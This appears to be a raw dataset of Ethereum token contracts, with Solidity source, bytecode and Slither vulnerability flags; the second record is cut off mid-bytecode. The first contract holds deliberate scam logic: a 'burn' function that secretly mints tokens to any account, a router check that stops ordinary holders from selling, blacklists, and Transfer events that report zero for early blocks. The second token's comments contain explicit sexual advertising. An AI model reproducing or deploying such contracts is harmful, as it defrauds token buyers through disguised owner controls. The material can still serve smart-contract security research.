} function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b6000602082840312156110a3578081fd5b81356110ae8161161d565b9392505050565b6000602082840312156110c6578081fd5b81516110ae8161161d565b600080604083850312156110e3578081fd5b82356110ee8161161d565b915060208301356110fe8161161d565b809150509250929050565b60008060006060848603121561111d578081fd5b83356111288161161d565b925060208401356111388161161d565b929592945050506040919091013590565b6000806040838503121561115b578182fd5b82356111668161161d565b946020939093013593505050565b60006020808385031215611186578182fd5b823567ffffffffffffffff8082111561119d578384fd5b818501915085601f8301126111b0578384fd5b8135818111156111c2576111c2611607565b838102604051858282010181811085821117156111e1576111e1611607565b604052828152858101935084860182860187018a10156111ff578788fd5b8795505b838610156112285761121481611087565b855260019590950194938601938601611203565b5098975050505050505050565b600060208284031215611246578081fd5b815180151581146110ae578182fd5b600080600060608486031215611269578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b8181101561134457858101830151858201604001528201611328565b818111156113555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252601f908201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b60ff91909116815260200190565b60008219821115611596576115966115f1565b500190565b6002810460018216806115af57607f821691505b602082108114156115d057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ea576115ea6115f1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163257600080fd5b5056fea264697066735822122046c9f8ea94a31a91ece342ff7df6df528ca495d10b559bffb702b7c35cb08dcc64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,009
0x6b437b4e5f22a07ff1099effaa9d6ac9e8af83be
/** *Submitted for verification at Etherscan.io on 2022-03-30 */ // SPDX-License-Identifier: Unlicensed /* Enjoy quality live pornography? Well OnlyFans DAO is about to make it even better! As a loving fan of the content subscription service, our founder believes in sharing the joy and create a jubilant world with our fellow appreciators of the erotic art. OnlyFans DAO is built with this vision in mind, with every dollar you invest in our token , we shall invest the transaction tax in subscribing content from your beloved content creator of your choice, through the voting system of the DAO, we shall decide which content creator to subscribe in! Ready for more action of stocking ripping and pussy thrusting? Join Us now! */ //Telegram: OnlyFansDAO //Website: onlyfans-dao.com pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ONLYFANS is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ONLYFANS"; string private constant _symbol = "OF"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e13 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 4; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 4; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5e10 * 10**9; uint256 public _maxWalletSize = 1e11 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5e10 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610573578063dd62ed3e14610593578063ea1644d5146105d9578063f2fde38b146105f957600080fd5b8063a2a957bb146104ee578063a9059cbb1461050e578063bfd792841461052e578063c3c8cd801461055e57600080fd5b80638f70ccf7116100d15780638f70ccf71461046d5780638f9a55c01461048d57806395d89b41146104a357806398a5c315146104ce57600080fd5b80637d1db4a5146103f75780637f2feddc1461040d5780638203f5fe1461043a5780638da5cb5b1461044f57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038d57806370a08231146103a2578063715018a6146103c257806374010ece146103d757600080fd5b8063313ce5671461031157806349bd5a5e1461032d5780636b9990531461034d5780636d8aa8f81461036d57600080fd5b80631694505e116101b65780631694505e1461027c57806318160ddd146102b457806323b872dd146102db5780632fd689e3146102fb57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024c57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611ae3565b610619565b005b34801561021557600080fd5b506040805180820190915260088152674f4e4c5946414e5360c01b60208201525b6040516102439190611ba8565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611bfd565b6106b8565b6040519015158152602001610243565b34801561028857600080fd5b5060135461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b5069021e19e0c9bab24000005b604051908152602001610243565b3480156102e757600080fd5b5061026c6102f6366004611c29565b6106cf565b34801561030757600080fd5b506102cd60175481565b34801561031d57600080fd5b5060405160098152602001610243565b34801561033957600080fd5b5060145461029c906001600160a01b031681565b34801561035957600080fd5b50610207610368366004611c6a565b610738565b34801561037957600080fd5b50610207610388366004611c97565b610783565b34801561039957600080fd5b506102076107cb565b3480156103ae57600080fd5b506102cd6103bd366004611c6a565b6107f8565b3480156103ce57600080fd5b5061020761081a565b3480156103e357600080fd5b506102076103f2366004611cb2565b61088e565b34801561040357600080fd5b506102cd60155481565b34801561041957600080fd5b506102cd610428366004611c6a565b60116020526000908152604090205481565b34801561044657600080fd5b506102076108d2565b34801561045b57600080fd5b506000546001600160a01b031661029c565b34801561047957600080fd5b50610207610488366004611c97565b610a8a565b34801561049957600080fd5b506102cd60165481565b3480156104af57600080fd5b5060408051808201909152600281526127a360f11b6020820152610236565b3480156104da57600080fd5b506102076104e9366004611cb2565b610ae9565b3480156104fa57600080fd5b50610207610509366004611ccb565b610b18565b34801561051a57600080fd5b5061026c610529366004611bfd565b610b72565b34801561053a57600080fd5b5061026c610549366004611c6a565b60106020526000908152604090205460ff1681565b34801561056a57600080fd5b50610207610b7f565b34801561057f57600080fd5b5061020761058e366004611cfd565b610bb5565b34801561059f57600080fd5b506102cd6105ae366004611d81565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e557600080fd5b506102076105f4366004611cb2565b610c56565b34801561060557600080fd5b50610207610614366004611c6a565b610c85565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161064390611dba565b60405180910390fd5b60005b81518110156106b45760016010600084848151811061067057610670611def565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106ac81611e1b565b91505061064f565b5050565b60006106c5338484610d6f565b5060015b92915050565b60006106dc848484610e93565b61072e843361072985604051806060016040528060288152602001611f33602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113cf565b610d6f565b5060019392505050565b6000546001600160a01b031633146107625760405162461bcd60e51b815260040161064390611dba565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ad5760405162461bcd60e51b815260040161064390611dba565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107eb57600080fd5b476107f581611409565b50565b6001600160a01b0381166000908152600260205260408120546106c990611443565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161064390611dba565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161064390611dba565b6802b5e3af16b188000081116108cd57600080fd5b601555565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161064390611dba565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610961573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109859190611e34565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190611e34565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a679190611e34565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161064390611dba565b601454600160a01b900460ff1615610acb57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b135760405162461bcd60e51b815260040161064390611dba565b601755565b6000546001600160a01b03163314610b425760405162461bcd60e51b815260040161064390611dba565b60095482111580610b555750600b548111155b610b5e57600080fd5b600893909355600a91909155600955600b55565b60006106c5338484610e93565b6012546001600160a01b0316336001600160a01b031614610b9f57600080fd5b6000610baa306107f8565b90506107f581611471565b6000546001600160a01b03163314610bdf5760405162461bcd60e51b815260040161064390611dba565b60005b82811015610c50578160056000868685818110610c0157610c01611def565b9050602002016020810190610c169190611c6a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4881611e1b565b915050610be2565b50505050565b6000546001600160a01b03163314610c805760405162461bcd60e51b815260040161064390611dba565b601655565b6000546001600160a01b03163314610caf5760405162461bcd60e51b815260040161064390611dba565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a20